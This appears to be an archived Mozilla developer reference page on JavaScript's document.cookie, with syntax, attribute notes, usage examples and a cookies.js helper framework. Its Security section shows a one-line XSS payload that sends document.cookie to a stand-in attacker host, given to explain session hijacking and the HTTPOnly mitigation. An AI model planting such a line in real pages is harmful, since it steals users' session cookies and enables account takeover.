mozilla
Your Search Results

    document.cookie

    Summary

    Get and set the cookies associated with the current document.

    Syntax

    allCookies = document.cookie;

    allCookies is a string containing a semicolon-separated list of cookies (i.e. key=value pairs)

    document.cookie = updatedCookie;

    updatedCookie is a string of form key=value. Note that you can only set/update a single cookie at a time using this method.

    • Any of the following cookie attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator:
      • ;path=path (e.g., '/', '/mydir') If not specified, defaults to the current path of the current document location.
      • ;domain=domain (e.g., 'example.com', '.example.com' (includes all subdomains), 'subdomain.example.com') If not specified, defaults to the host portion of the current document location.
      • ;max-age=max-age-in-seconds (e.g., 60*60*24*365 for a year)
      • ;expires=date-in-GMTString-format If not specified it will expire at the end of session.
      • ;secure (cookie to only be transmitted over secure protocol as https)
    • The cookie value string can use encodeURIComponent() to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).

    Gecko 6.0 note
    (Firefox 6.0 / Thunderbird 6.0 / SeaMonkey 2.3)

    Note that prior to Gecko 6.0 (Firefox 6.0 / Thunderbird 6.0 / SeaMonkey 2.3), paths with quotes were treated as if the quotes were part of the string, instead of as if they were delimiters surrounding the actual path string. This has been fixed.

    Examples

    Example #1: Simple usage

    document.cookie = "name=oeschger";
    document.cookie = "favorite_food=tripe";
    alert(document.cookie);
    // displays: name=oeschger;favorite_food=tripe
    
    document.cookie = "test1=Hello";
    document.cookie = "test2=World";
    
    var myCookie = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");
    
    alert(myCookie);
    // displays: World
    

    Example #3: Do something only once

    function executeOnce () {
      var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string";
      if (bImplGlob) { argc++; }
      if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); }
      var fExec = arguments[0], sKey = arguments[argc - 2];
      if (typeof fExec !== "function") { throw new TypeError("executeOnce - first argument must be a function"); }
      if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { throw new TypeError("executeOnce - invalid identifier"); }
      if (unescape(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + escape(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) === "1") { return false; }
      fExec.apply(argc > 3 ? arguments[1] : null, argc > 4 ? Array.prototype.slice.call(arguments, 2, argc - 2) : []);
      document.cookie = escape(sKey) + "=1; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=" + ((bImplGlob ? false : arguments[argc - 1]) ? location.pathname : "/");
      return true;
    }
    Syntax
    executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere])
    Description

    Executes a function only once, even after the refresh of the page.

    Parameters
    callback (required)
    The function to be executed (function).
    thisObject (optional)
    The this object (object or null).
    argumentToPass1, argumentToPass2, argumentToPassN (optional)
    The arguments of the callback function.
    identifier (required)
    The identifier to check, i.e. the name of the cookie (string)
    onlyHere (optional)
    A boolean expressing whether the cookie will use the local path (true) instead of the global one (false or undefined) (boolean or undefined)
    Sample usage
    function alertSomething (sMsg) {
      alert(sMsg);
    }
    
    executeOnce(alertSomething, null, "Hello world!!!!", "alert_something");

    Example #3bis: Do something only once – simplified code

    In order to use the following code, please, replace all occurrences of the word someCookieName (the name of the cookie) with a custom name.

    if (document.cookie.replace(/(?:(?:^|.*;\s*)someCookieName\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
      alert("Do something here!");
      document.cookie = "someCookieName=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";
    }

    A little framework: a complete cookies reader/writer with full unicode support

    /*\
    |*|
    |*|  :: cookies.js ::
    |*|
    |*|  A complete cookies reader/writer framework with full unicode support.
    |*|
    |*|  https://developer.mozilla.org/en-US/docs/DOM/document.cookie
    |*|
    |*|  This framework is released under the GNU Public License, version 3 or later.
    |*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
    |*|
    |*|  Syntaxes:
    |*|
    |*|  * docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
    |*|  * docCookies.getItem(name)
    |*|  * docCookies.removeItem(name[, path], domain)
    |*|  * docCookies.hasItem(name)
    |*|  * docCookies.keys()
    |*|
    \*/
    
    var docCookies = {
      getItem: function (sKey) {
        return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
      },
      setItem: function (sKey, sValue, vEnd, sPath, sDomain, bSecure) {
        if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { return false; }
        var sExpires = "";
        if (vEnd) {
          switch (vEnd.constructor) {
            case Number:
              sExpires = vEnd === Infinity ? "; expires=Fri, 31 Dec 9999 23:59:59 GMT" : "; max-age=" + vEnd;
              break;
            case String:
              sExpires = "; expires=" + vEnd;
              break;
            case Date:
              sExpires = "; expires=" + vEnd.toUTCString();
              break;
          }
        }
        document.cookie = encodeURIComponent(sKey) + "=" + encodeURIComponent(sValue) + sExpires + (sDomain ? "; domain=" + sDomain : "") + (sPath ? "; path=" + sPath : "") + (bSecure ? "; secure" : "");
        return true;
      },
      
      
      removeItem: function (sKey, sPath, sDomain) {
        if (!sKey || !this.hasItem(sKey)) { return false; }
        document.cookie = encodeURIComponent(sKey) + "=; expires=Thu, 01 Jan 1970 00:00:00 GMT" + ( sDomain ? "; domain=" + sDomain : "") + ( sPath ? "; path=" + sPath : "");
        return true;
      },
      hasItem: function (sKey) {
        return (new RegExp("(?:^|;\\s*)" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=")).test(document.cookie);
      },
      keys: /* optional method: you can safely remove it! */ function () {
        var aKeys = document.cookie.replace(/((?:^|\s*;)[^\=]+)(?=;|$)|^\s*|\s*(?:\=[^;]*)?(?:\1|$)/g, "").split(/\s*(?:\=[^;]*)?;\s*/);
        for (var nIdx = 0; nIdx < aKeys.length; nIdx++) { aKeys[nIdx] = decodeURIComponent(aKeys[nIdx]); }
        return aKeys;
      }
    };
    Note: For never-expire-cookies we used the arbitrarily distant date Fri, 31 Dec 9999 23:59:59 GMT. If for any reason you are afraid of such a date, use the conventional date of end of the world Tue, 19 Jan 2038 03:14:07 GMT – which is the maximum number of seconds elapsed since since 1 January 1970 00:00:00 UTC expressible by a signed 32-bit integer (i.e.: 01111111111111111111111111111111, which is new Date(0x7fffffff * 1e3)).
    Syntax
    docCookies.setItem(name, value[, end[, path[, domain[, secure]]]])
    Description

    Create/overwrite a cookie.

    Parameters
    name (required)
    The name of the cookie to create/overwrite (string).
    value (required)
    The value of the cookie (string).
    end (optional)
    The max-age in seconds (e.g. 31536e3 for a year, Infinity for a never-expires cookie) or the expires date in GMTString format or as Date object; if not specified it will expire at the end of session (number – finite or Infinitystring, Date object or null).
    path (optional)
    E.g., "/", "/mydir"; if not specified, defaults to the current path of the current document location (string or null).
    domain (optional)
    E.g., "example.com", ".example.com" (includes all subdomains) or "subdomain.example.com"; if not specified, defaults to the host portion of the current document location (string or null).
    secure (optional)
    The cookie will be transmitted only over secure protocol as https (boolean or null).
    Syntax
    docCookies.getItem(name)
    Description

    Read a cookie. If the cookie doesn't exist a null value will be returned.

    Parameters
    name
    the name of the cookie to read (string).
    Syntax
    docCookies.removeItem(name[, path],domain)
    Description

    Delete a cookie.

    Parameters
    name
    the name of the cookie to remove (string).
    path (optional)
    e.g., "/", "/mydir"; if not specified, defaults to the current path of the current document location (string or null).
    domain (optional)
    E.g., "example.com", ".example.com" (includes all subdomains) or "subdomain.example.com"; if not specified, defaults to the host portion of the current document location (string or null).
    Syntax
    docCookies.hasItem(name)
    Description

    Check if a cookie exists.

    Parameters
    name
    the name of the cookie to test (string).

    Getting the list of all cookies

    Syntax
    docCookies.keys()
    Description

    Returns an array of all readable cookies from this location.

    Example usage:

    docCookies.setItem("test0", "Hello world!");
    docCookies.setItem("test1", "Unicode test: \u00E0\u00E8\u00EC\u00F2\u00F9", Infinity);
    docCookies.setItem("test2", "Hello world!", new Date(2020, 5, 12));
    docCookies.setItem("test3", "Hello world!", new Date(2027, 2, 3), "/blog");
    docCookies.setItem("test4", "Hello world!", "Sun, 06 Nov 2022 21:43:15 GMT");
    docCookies.setItem("test5", "Hello world!", "Tue, 06 Dec 2022 13:11:07 GMT", "/home");
    docCookies.setItem("test6", "Hello world!", 150);
    docCookies.setItem("test7", "Hello world!", 245, "/content");
    docCookies.setItem("test8", "Hello world!", null, null, "example.com");
    docCookies.setItem("test9", "Hello world!", null, null, null, true);
    docCookies.setItem("test1;=", "Safe character test;=", Infinity);
     
    alert(docCookies.keys().join("\n"));
    alert(docCookies.getItem("test1"));
    alert(docCookies.getItem("test5"));
    docCookies.removeItem("test1");
    docCookies.removeItem("test5", "/home");
    alert(docCookies.getItem("test1"));
    alert(docCookies.getItem("test5"));
    alert(docCookies.getItem("unexistingCookie"));
    alert(docCookies.getItem());
    alert(docCookies.getItem("test1;="));

    Security

    It is important to note that the path restriction does not protect against unauthorized reading of the cookie from a different path. It can easily be bypassed with simple DOM (for example by creating a hidden iframe element with the path of the cookie, then accessing this iframe's contentDocument.cookie property). The only way to protect cookie access is by using a different domain or subdomain, due to the same origin policy.

    Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application - 

    (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

    The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about Cookies and Security.

    Notes

    • Starting with Firefox 2, a better mechanism for client-side storage is available - WHATWG DOM Storage.
    • You can delete a cookie by simply updating its expiration time to zero.
    • Keep in mind that the more you have cookies the more data will be transferred between the server and the client for each request. This will make each request slower. It is highly recommended for you to use WHATWG DOM Storage if you are going to keep "client-only" data.

    Specification

    DOM Level 2: HTMLDocument.cookie

    See also

    Document Tags and Contributors

    Contributors to this page: Dria
    Last updated by: Dria,
    Hide Sidebar